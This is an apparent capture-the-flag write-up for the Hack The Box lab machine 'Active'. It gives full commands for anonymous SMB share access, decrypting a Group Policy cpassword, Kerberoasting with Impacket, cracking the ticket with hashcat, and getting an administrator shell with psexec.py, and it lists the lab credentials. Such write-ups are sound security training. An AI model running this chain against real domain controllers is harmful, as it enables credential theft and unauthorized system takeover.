# Active

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FFiyZPQkefRA7IcdTm6IA%2Fimage.png?alt=media&#x26;token=2b1cebd0-9b5c-4b76-90c5-a3cec8d419e0" alt=""><figcaption><p>HTB Active Machine</p></figcaption></figure>

#### Nmap

We start off with a basic initial scan on Nmap.

```
nmap 10.10.10.100 -p- -sS -T4 -sV

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-11-21 14:22:27Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  tcpwrapped
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49169/tcp open  msrpc         Microsoft Windows RPC
49171/tcp open  msrpc         Microsoft Windows RPC
49182/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
```

We find port 53 open and ports for LDAP and Kerberos open which means we are almost certainly dealing with a domain controller.

#### Port 445 (SMB)

I started off checking SMB for any quick and easy wins by attempting to authenticate without credentials against the domain controller.

```
smbclient -N -L \\\\10.10.10.100 
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2Fa3SxuUDb74rIwWkdsaxk%2Fimage.png?alt=media&#x26;token=ea312c4b-ef07-4842-8032-885c71cc5537" alt=""><figcaption></figcaption></figure>

We can use `smbmap` to check what shares we have access to without credentials.

```
smbmap -H 10.10.10.100
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2F4D7jHNFslQE8qq6z5ZDm%2Fimage.png?alt=media&#x26;token=37b95888-3347-4704-a2a1-63e4a07c1e3e" alt=""><figcaption></figcaption></figure>

We have read access to the "Replication" share. We can run `smbget` against this recursively to download the entire share.

```
smbget -R -U "" smb://10.10.10.100/Replication
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FD2Jp1tzJbpxXKq46NJzk%2Fimage.png?alt=media&#x26;token=020416c7-f051-41a0-87cf-d5f549e644d9" alt=""><figcaption></figcaption></figure>

#### Group Policy

After downloading the share we can navigate to the downloaded folders on our attacking machine. When browsing through them the folder of interest is the 'Policies' folder.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FMAEOgCwGX6WxFXeIoIq2%2Fimage.png?alt=media&#x26;token=f6b399f0-875f-4729-975c-407c29ae7032" alt=""><figcaption></figcaption></figure>

When dealing with Group Policy folders the ideal information to gather would be a value called "cpassword' which is usually located in Groups.xml. Below is a great blog post regarding this.

{% embed url="<https://www.hackingarticles.in/credential-dumping-group-policy-preferences-gpp/>" %}

If you go to the following location "\_active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml" Y\_ou will see we have the following information contained in the XML file.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FmIREcooLJAKiJIv5QZ4M%2Fimage.png?alt=media&#x26;token=7894c565-4834-42ee-8037-c4d151d48453" alt=""><figcaption></figcaption></figure>

#### Password Decryption

We have a username of SVC\_TGS and a cpassword value.\_ \_Kali comes with a tool called `gpp-decrypt`. We can use this to decrypt the cpassword value into plain text.

```
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FxDSesIxSsuFBgmfCD7Oj%2Fimage.png?alt=media&#x26;token=f7efe072-197d-4ded-8749-f225ab2a9f7e" alt=""><figcaption></figcaption></figure>

Password: GPPstillStandingStrong2k18

I then tried to connect to WinRM on port 47001 with [Evil-WinRM](https://github.com/Hackplayers/evil-winrm) however, I had no luck with the credentials we have gained so far. We do have Kerberos on port 88 running so we have potential here to enumerate further credentials and accounts.

Before we do anything lets confirm if the credentials work on SMB. We can use `smbmap` to see what we can now access quickly.

```
smbmap -u svc_tgs -p GPPstillStandingStrong2k18 -H 10.10.10.100 -r 'Users'
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FYZuhKmoKCUXfz1z8UGE0%2Fimage.png?alt=media&#x26;token=caa6e317-a306-43e4-a2c6-eb0cb6c18f86" alt=""><figcaption></figcaption></figure>

We can now run a recursive search with -R on `smbmap` to get a quick glance at any potential loot.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FIU6is5AFIA92WyiC8UXO%2Fimage.png?alt=media&#x26;token=6a3af255-92c7-43bc-8817-ea6cc34136e3" alt=""><figcaption></figcaption></figure>

We now have access to user.txt. Nothing else interesting here so we can check out Port 88 for some Kerberoasting since we have a valid domain account.

#### Port 88 (Kerberos)

We can use Impacket's GetSPNusers.py script to gather any Kerberos tickets.

```bash
python GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2F4JGgm3vLQEIq62csWFLf%2Fimage.png?alt=media&#x26;token=7ca4ebf4-bcbb-4213-9b89-6daa858989be" alt=""><figcaption></figcaption></figure>

#### Hash Cracking

We now have a hash for the Administrator account. I tried running the hash through John but, could not get John to recognize the format. Instead, I moved over to `Hashcat` and run the hash type through the examples page to find the correct mode to run it against.

{% embed url="<https://hashcat.net/wiki/doku.php?id=example_hashes>" %}

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2F1HfXKypl8UftvK4z4l3s%2Fimage.png?alt=media&#x26;token=64bb0269-b3ba-484d-a634-c3798d268d8c" alt=""><figcaption></figcaption></figure>

```
hashcat -m 13100 -a 0 /home/kali/Desktop/hash.txt /usr/share/wordlists/rockyou.txt 
```

`Hashcat` soon cracks the password as: `Ticketmaster1968`

#### Shell as Administrator

Now we have valid credentials we can potentially gain further access in multiple ways. The first time I grabbed the flag using `smbclient` to access C$ however, if this was a real penetration test ideally we would demonstrate shell as system / administrator.

To gain shell I will use Impacket's psexec.py.

```
python psexec.py  active.htb/administrator:Ticketmaster1968@10.10.10.100
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FiB4t4TOQ6cX6j1W3LmsO%2Fimage.png?alt=media&#x26;token=fecf832b-2cf2-474b-9a46-96f35d4a25ec" alt=""><figcaption></figcaption></figure>

From here we can loot both the root.txt and user.txt flags.
